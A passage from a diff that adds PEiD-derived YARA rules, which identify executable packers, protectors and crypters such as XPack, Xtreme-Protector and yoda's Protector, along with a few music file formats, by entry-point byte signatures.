+        description = "[XCR v0.12]"
+        ep_only = "true"
+    strings:
+        $a = {60 9C E8 ?? ?? ?? ?? 8B DD 5D 81 ED ?? ?? ?? ?? 89 9D}
+    condition:
+        $a
+}
+
+rule PEiD_03503_XCR_v0_13_
+{
+    meta:
+        description = "[XCR v0.13]"
+        ep_only = "true"
+    strings:
+        $a = {93 71 08 ?? ?? ?? ?? ?? ?? ?? ?? 8B D8 78 E2 ?? ?? ?? ?? 9C 33 C3 ?? ?? ?? ?? 60 79 CE ?? ?? ?? ?? E8 01 ?? ?? ?? ?? 83 C4 04 E8 AB FF FF FF ?? ?? ?? ?? 2B E8 ?? ?? ?? ?? 03 C5 FF 30 ?? ?? ?? ?? C6 ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_03504_XJ___XPAL____LiNSoN_
+{
+    meta:
+        description = "[XJ / XPAL -> LiNSoN]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? 40 00 68 ?? ?? 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 44 53 56 57 66 9C}
+    condition:
+        $a
+}
+
+rule PEiD_03505_XM_music_file_
+{
+    meta:
+        description = "[XM music file]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 74 65 6E 64 65 64 20 4D 6F 64 75 6C 65 3A}
+    condition:
+        $a
+}
+
+rule PEiD_03506_XMI_music_file_
+{
+    meta:
+        description = "[XMI music file]"
+        ep_only = "false"
+    strings:
+        $a = {46 4F 52 4D ?? ?? ?? ?? 58 4D 49 44}
+    condition:
+        $a
+}
+
+rule PEiD_03507_XPack_1_52___1_64_
+{
+    meta:
+        description = "[XPack 1.52 - 1.64]"
+        ep_only = "true"
+    strings:
+        $a = {8B EC FA 33 C0 8E D0 BC ?? ?? 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? EB}
+    condition:
+        $a
+}
+rule PEiD_03508_XPack_1_67__com_
+{
+    meta:
+        description = "[XPack 1.67 [com]"
+        ep_only = "true"
+    strings:
+        $a = {E9 53 00 FF FD FF FB FF F9 FF BC 03 00 8B E5 4C 4C C3}
+    condition:
+        $a
+}
+
+rule PEiD_03509_XPack_1_67_
+{
+    meta:
+        description = "[XPack 1.67]"
+        ep_only = "true"
+    strings:
+        $a = {B8 8C D3 15 33 75 81 3E E8 0F 00 9A E8 F9 FF 9A 9C EB 01 9A 59 80 CD 01 51 9D EB}
+    condition:
+        $a
+}
+
+rule PEiD_03510_xPEP_0_3x____xIkUg_
+{
+    meta:
+        description = "[xPEP 0.3x -> xIkUg]"
+        ep_only = "true"
+    strings:
+        $a = {55 53 56 51 52 57 E8 16 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03511_Xtreme_Protector_1_06_
+{
+    meta:
+        description = "[Xtreme-Protector 1.06]"
+        ep_only = "false"
+    strings:
+        $a = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02}
+    condition:
+        $a
+}
+/*
+rule PEiD_03512_Xtreme_Protector_v1_05_
+{
+    meta:
+        description = "[Xtreme-Protector v1.05]"
+        ep_only = "true"
+    strings:
+        $a = {E9 ?? ?? 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_03513_Xtreme_Protector_v1_06_
+{
+    meta:
+        description = "[Xtreme-Protector v1.06]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 13 C0 74 06 57 2B F8 8A 07 5F 88 07 47 BB 02 00 00 00 EB 9B B8 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C0 02 D2 75 05 8A 16 46 12 D2 72 EA 2B C3 BB 01 00 00 00 75 28 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 56 8B F7 2B F5 F3 A4 5E E9 4F FF FF FF 48 C1 E0 08 8A 06 46 8B E8 B9 01 00 00 00 02 D2 75 05 8A 16 46 12 D2 13 C9 02 D2 75 05 8A 16 46 12 D2 72 EA 3D 00 7D 00 00 73 1A 3D 00 05 00 00 72 0E 41 56 8B F7 2B F0 F3 A4 5E E9 0F FF FF FF 83 F8 7F 77 03 83 C1 02 56 8B F7 2B F0 F3 A4 5E E9 FA FE FF FF 8A 06 46 33 C9 C0 E8 01 74 17 83 D1 02 8B E8 56 8B F7 2B F0 F3 A4 5E BB 01 00 00 00 E9 D9 FE FF FF 2B 7C 24 28 89 7C 24 1C 61 C2 08 00 E9 ?? ?? ?? 00 E9 38 ?? ?? ?? 01}
+    condition:
+        $a
+}
+/*
+rule PEiD_03514_XWD_graphics_format_
+{
+    meta:
+        description = "[XWD graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 71 00 00 00 07 00 00 00 02 00 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_03515_XXPack_0_1____bagie_
+{
+    meta:
+        description = "[XXPack 0.1 -> bagie]"
+        ep_only = "true"
+    strings:
+        $a = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 5E 1F 40 00 EB 02 83 09 8D B5 EF 1F 40 00 EB 02 83 09 BA A3 11 00 00 EB 00 68 00 ?? ?? ?? C3}
+    condition:
+        $a
+}
+rule PEiD_03516_y0da_s_Crypter_v1_0_
+{
+    meta:
+        description = "[y0da's Crypter v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85}
+    condition:
+        $a
+}
+
+rule PEiD_03517_y0da_s_Crypter_v1_1_
+{
+    meta:
+        description = "[y0da's Crypter v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33}
+    condition:
+        $a
+}
+
+rule PEiD_03518_y0da_s_Crypter_v1_x___Modified_
+{
+    meta:
+        description = "[y0da's Crypter v1.x / Modified]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 ?? ?? 00 00 8D BD ?? ?? ?? ?? 8B F7 AC}
+    condition:
+        $a
+}
+
+rule PEiD_03519_yC_1_3_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yC 1.3 by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC C0 00 00 00 53 56 57 8D BD 40 FF FF FF B9 30 00 00 00 B8 CC CC CC CC F3 AB 60 E8 00 00 00 00 5D 81 ED 84 52 41 00 B9 75 5E 41 00 81 E9 DE 52 41 00 8B D5 81 C2 DE 52 41 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a
+}
+rule PEiD_03520_yoda_s_Crypter_1_3____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Crypter 1.3 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_03521_yoda_s_Crypter_1_3____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Crypter 1.3 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+    condition:
+        $a
+}
+
+rule PEiD_03522_yoda_s_Protector_1_0_beta____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.0 beta -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00}
+    condition:
+        $a
+}
+
+rule PEiD_03523_yoda_s_Protector_1_01____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector 1.01 -> Ashkbiz Danehkar (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_03524_yoda_s_Protector_1_02___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector 1.02 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75}
+    condition:
+        $a
+}
+
+rule PEiD_03525_yoda_s_Protector_1_02___1_03____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.02 - 1.03 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03526_yoda_s_Protector_1_02____Ashkibiz_Danehlar_
+{
+    meta:
+        description = "[yoda's Protector 1.02 -> Ashkibiz Danehlar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a
+}
+rule PEiD_03527_yoda_s_Protector_1_03_1____Ashkibiz_Danehlar_
+{
+    meta:
+        description = "[yoda's Protector 1.03.1 -> Ashkibiz Danehlar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a
+}
+
+rule PEiD_03528_yoda_s_Protector_1_0b____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector 1.0b -> Ashkbiz Danehkar (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_03529_yoda_s_Protector_1_0b____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.0b -> Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_03530_yoda_s_Protector_1_0x____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector 1.0x -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01}
+    condition:
+        $a
+}
+rule PEiD_03531_yoda_s_Protector_V1_01____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.01 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 E8 03 00 00 00 EB 01 ?? E8 86 00 00 00 E8 03 00 00 00 EB 01 ?? E8 79 00 00 00 E8 03 00 00 00 EB 01 ?? E8 A4 00 00 00 E8 03 00 00 00 EB 01 ?? E8 97 00 00 00 E8 03 00 00 00 EB 01 ?? E8 2D 00 00 00 E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED D5 E4 41 00 8B D5 81 C2 23 E5 41 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3}
+    condition:
+        $a
+}
+
+rule PEiD_03532_yoda_s_Protector_v1_02___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector v1.02 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 35 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 BE 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a
+}
+
+rule PEiD_03533_yoda_s_Protector_V1_02____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.02 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 23 3F 42 00 8B D5 81 C2 72 3F 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3A 66 42 00 81 E9 1D 40 42 00 8B D5 81 C2 1D 40 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 C3 1F 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+    condition:
+        $a
+}
+rule PEiD_03534_yoda_s_Protector_V1_03_1____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.1 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 74 72 42 00 8B D5 81 C2 C3 72 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 3F A9 42 00 81 E9 6E 73 42 00 8B D5 81 C2 6E 73 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 98 2E 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+    condition:
+        $a
+}
+
+rule PEiD_03535_yoda_s_Protector_v1_03_2___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector v1.03.2 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 90 EB 01 ?? AC}
+    condition:
+        $a
+}
+
+rule PEiD_03536_yoda_s_Protector_V1_03_2____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.2 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+    condition:
+        $a
+}
+rule PEiD_03537_Yoda_s_Protector_v1_03_2_Beta2____Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[Yoda's Protector v1.03.2 Beta2 -> Ashkbiz Danehkar]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03538_yoda_s_Protector_v1_03_2_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yoda's Protector v1.03.2 by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_03539_yoda_s_Protector_v1_03_3___exe__scr__com_____Ashkbiz_Danehkar__h__
+{
+    meta:
+        description = "[yoda's Protector v1.03.3 (.exe,.scr,.com) -> Ashkbiz Danehkar (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 4B 0C 41 00 81 E9 01 E3 40 00 8B D5 81 C2 01 E3 40 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 9C 22 00 00 33 C0 64 FF 30 64 89 20 43 CC C3 CC CC CC CC AC}
+    condition:
+        $a
+}
+
+rule PEiD_03540_yoda_s_Protector_V1_03_3____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.03.3 -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8E 00 00 00 E8 03 00 00 00 EB 01 ?? E8 81 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B7 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AA 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2D E8 03 00 00 00 EB 01 ?? 60 E8 00 00 00 00 5D 81 ED 07 E2 40 00 8B D5 81 C2 56 E2 40 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3}
+    condition:
+        $a
+}
+
+rule PEiD_03541_yoda_s_Protector_V1_0b____Ashkbiz_Danehkar___Sign_by_fly_
+{
+    meta:
+        description = "[yoda's Protector V1.0b -> Ashkbiz Danehkar ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 ?? E8 03 00 00 00 EB 01 ?? AC}
+    condition:
+        $a
+}
+rule PEiD_03542_yP_1_0b_by_Ashkbiz_Danehkar_
+{
+    meta:
+        description = "[yP 1.0b by Ashkbiz Danehkar]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 4C 32 40 00 E8 03 00 00 00 EB 01 ?? B9 EA 47 40 00 81 E9 E9 32 40 00 8B D5 81 C2 E9 32 40 00 8D 3A 8B F7 33 C0 E8 04 00 00 00 90 EB 01 C2 E8 03 00 00 00 EB 01 ?? AC ?? ?? ?? ?? ?? ?? ?? EB 01 E8}
+    condition:
+        $a
+}
+
+rule PEiD_03543_yzPack_1_0____UsAr_
+{
+    meta:
+        description = "[yzPack 1.0 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C0 8D 48 07 50 E2 FD 8B EC 64 8B 40 30 78 0C 8B 40 0C}
+    condition:
+        $a
+}
+
+rule PEiD_03544_YZPack_1_2____UsAr_
+{
+    meta:
+        description = "[YZPack 1.2 -> UsAr]"
+        ep_only = "true"
+    strings:
+        $a = {4D 5A 52 45 60 83 EC 18 8B EC 8B FC 33 C0 64 8B 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09 8B 40 34 83 C0 7C 8B 40 3C AB E9}
+    condition:
+        $a
+}
+
+rule PEiD_03545_yzpack_V1_1____UsAr___Sign_by_fly_
+{
+    meta:
+        description = "[yzpack V1.1 -> UsAr ! Sign by fly]"
+        ep_only = "true"
+    strings:
